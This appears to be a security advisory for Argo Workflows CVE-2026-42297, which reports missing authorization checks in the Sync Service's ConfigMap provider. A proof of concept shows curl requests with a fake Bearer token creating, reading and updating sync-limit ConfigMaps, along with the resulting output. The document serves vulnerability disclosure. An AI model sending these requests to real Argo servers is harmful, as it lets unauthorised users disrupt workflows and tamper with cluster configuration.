Argo Workflows CVE-2026-42297

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user - including those using fake Bearer tokens - can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go - UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}

• server/sync/sync_cm.go - lines 23-155
• All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

• Argo Server running with --auth-mode=server
• Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default

NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

999

Impact

An attacker with network access to the Argo Server can:

1. Denial of Service - Set sync limits to 0 or 1, blocking all parallel workflow execution
2. Workflow Disruption - Modify existing sync limits to break running workflows
3. Information Disclosure - Read ConfigMap data that may contain sensitive configuration
4. Arbitrary ConfigMap Manipulation - Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

• CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints - same root cause (missing auth.CanI check)
• CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass - same pattern